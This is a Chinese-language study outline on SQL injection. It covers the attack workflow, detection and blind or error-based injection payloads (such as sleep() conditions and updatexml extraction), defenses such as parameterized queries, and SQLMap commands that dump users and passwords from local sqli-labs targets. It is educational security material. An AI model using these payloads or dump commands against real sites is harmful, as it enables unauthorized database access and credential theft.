SQL注入攻击与防护
目录
一、SQL注入攻击概述
1.1 SQL注入概念
1.1.1 标准查询过程
1.1.2 SQL注入定义
攻击者把SQL命令插入到Web表单的输入域或页面请求的查询字符串,并且插入的恶意SQL命令会导致原有SQL语句作用发生改变,从而得到欺骗服务器执行恶意SQL命令的一种攻击方式。
1.2 SQL注入根本原因
没有对用户输入数据的合法性进行判断
1.3 SQL注入条件
- 用户能够控制输入的参数,前端传给后端的参数内容是用户可以控制的。
- 用户输入的参数被拼接到SQL语句,且带入数据库查询,成为了要执行的代码。
1.4 SQL注入防范
1.4.1 根本原因:过滤不严
1.4.2 安全设计原则:数据与代码分离
1.5 SQL注入流程
- 判断Web系统使用的脚本语言,发现注入点,并确定是否存在SQL注入漏洞
- 判断Web系统的数据库类型
- 判断数据库中判断表及相应字段的结构
- 构造注入语句,得到表中数据内容
- 查找网站后台,并用SQL注入得到的管理员账号和口令登陆
- 结合其他漏洞,上传Webshell并持续接连
- 进一步提权,得到服务器的系统权限
- 查找注入点
- 查库名
- 查表名
- 查字段名
- 查重点数据
1.6 SQL注入分类
1.6.1 回显注入
即用户发起查询请求,服务器将查询结果返回到页面中进行显示。
1.6.2 盲注
盲注的特点是用户发起请求,这个请求不一定是查询,服务器响应请求进行数据库查询,将结果返回但不显示具体的查询结果。典型的场景如用户注册,我们只会得到是否注册成功提示,并不会显示出数据库内容。
二、回显注入攻击
2.1 寻找注入点
2.1.1 常用语句
' //单引号测试
1' and '1'='1 //恒真测试
1' and '1'='2 //恒假测试
2.1.2 页面反馈
- 页面无变化。以上三种情况页面都没有任何不同,那么说明后台针对此查询点的过滤比较严格,是否存在SQL注入漏洞还需要进行后续测试。
- 页面中少了部分内容。如果前两种情况正常,而第三种情况明显页面有缺失,则基本可以确定存在SQL注入漏洞,用下一步继续进行判断。
- 错误回显。如果访问第三个连接后出现数据库报错信息,明显可以判断存在注入,用回显注入法进行注入。
- 跳转默认界面。第一种情况正常,而第二、三个直接跳转到首页后者默认页面,那么可能后台有验证逻辑。
- 直接关闭连接。如果上述的第二、三种情况出现访问失败,那么就可能时开启了防护类工具在线阻断了。
2.2 查字段数
2.2.1 常用的命令
- order by(确认表的列数)
- union(判断回显的具体字段位,一般构造前面的语句为假)
2.2.2 代码语句
1' order by 1 #
1' order by 5 #
注释:#、(%23)、--+
2.3 MySQL数据库
2.3.1 MySQL系统函数
version() //返回当前数据库的版本信息
user() //返回当前用户
database() //返回当前数据库名
Group_concat() //将查询结果连接成字符串
2.3.2 SQL注入危害
- 绕过检测非法登陆
- 非法查询关键信息
三、SQL盲注攻击
3.1 SQL盲注特点
3.1.1 只有true和false
3.1.2 无数据库有效信息
回显注入语句中加入判断方式,使得返回结果为true或false。
3.2 SQL盲注分类
3.2.1 布尔盲注
布尔盲注是构造SQL判断语句
1' and length(database())>=5 #
1' and substr(database(),1,1)=d #
" and ord(substr(database(),3,1))=119 #
3.2.2 时间盲注
- 时间盲注是利用时间函数,观察不同条件的等待时长。利用Sleep()或 benchmark() 等函数让MySQL的批行时间变长。
- 时间盲育注入多与 if( expr1,expr2,expr3) 函数结合使用,其中若 expr1 为True,则返回值为 expr2 的值,否则是 expr3 的值。
If(length(database())>3, sleep(5),1)
lf(substr(database() ,1,1)='d', sleep(5),1)
3.2.3 报错盲注
构造特殊参数形式,利用某些函数的报错信息进行注入。如 updatexml(XML_document,XPath_string, new_value) 用 new_value 替换 XML_document 中符合 XPath_ string 的值。其中:
- XML_document:String格式,为XML文档对象的名称
- XPath_string:Xpath格式的字符串
- new_value:String格式,替换查找到的符合条件的数据
updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) //0x7e是~的十六进制ASCLL值
→ ERROR 1105 (HY000): XPATH syntax error: '~dvwa~'
获取数据库 dvwa下的表名:
updatexml(1,concat(0x7e,(SELECT table_name from information_schema,tables where
table_schema='dvwa' limit 0,1),0x7e),1) //报错注入只显示一条结果,故使用 limit 语句
3.3 盲注总体思路
将想要查询的数据作为目标,构造SQL条件判断语句,与要查询的数据进行比较,并让数据库告之当前语句批行是否正确。
四、SQL注入攻击防护
4.1 SQL注入防护思想
4.1.1 SQL注入关键条件
- 用户可控输入
- 参数带入数据库查询
4.1.2 SQL注入本质
把用户输入当作代码执行
4.1.3 安全设计原则
数据与代码分离
4.2 SQL注入防护方法
4.2.1 参数过滤
① 参数类型限制
- 参数类型限制:类型判定函数,如数字型判定 is_numeric(),cytpe_digit() 等
- 参数长度限定:如 strlen() 等
② 危险字符处理
- 黑名单过滤:针对参数中敏感字符进行过滤,用到 preg_replace() 函数,如union,,' ,select等
- 白名单过滤:符合白名单的方能通过
- 参数转义:使用函数 mysgli_real_escape_string 对特殊符号转义
4.2.2 预编译处理
预编译语句,绑定变量,进行参数化查询。数据库服务器在数据库完成SQL指令的编译,才套用参数运行,参数不会被数据库运行,且仅当它是一个参数而言。
五、SQLMap使用
5.1 SQL注入工具
5.1.1 SQLMap
5.1.2 阿D
5.1.3 名小子
5.2 SQLMap的使用
5.2.1 SQLMap介绍
① 概述
开源的自动化SQL注入工具,由Python写成
② 主要功能
扫描、发现、利用给定URL的SQL注入漏洞
③ 特点
- 完全支持多种数据库管理系统:MySQL、 Oracle、PostgreSQL、 Microsoft SQL Server.Microsoft Access、IBM DB2、SQLite、 Firebird、Sybase.SAP MaxDB、HSQLDB和Informix等
- 支持 5 种SQL注入技术联合查询注入:市尔盲注、时间盲注、报错盲注、堆查询注入
- 支持枚举用户、密码、哈希、权限、角色、数据库、数据表和列
- 支持自动识别密码哈希格式并通过字典破解密码哈希
5.2.2 具体使用步骤(GET型)
① 判断是否存在注入
sqlmap.py -u "127.0.0.1/sqli-labs/Less-1/?id=1"
② 爆库
sqlmap.py -u "127.0.0.1/sqli-labs/Less-1/?id=1" --dbs
③ 爆表
sqlmap.py -u "127.0.0.1/sqli-labs/Less-1/?id=1" --tables -D security
④ 爆列
sqlmap.py -u "127.0.0.1/sqli-labs/Less-1/?id=1"--columns -T users -D security
⑤ 爆数据
sqlmap.py -u "127.0.0.1/sqli-labs/Less-1/?id=1” --dump -cpassword,username -T users -D security
POST型:sqlmap.py -r 3.txt --dbs
cookie型:sqlmap.py -u “127.0.0.1/sqli-1abs/Less-20/" --cookie "uname=admin" --level 2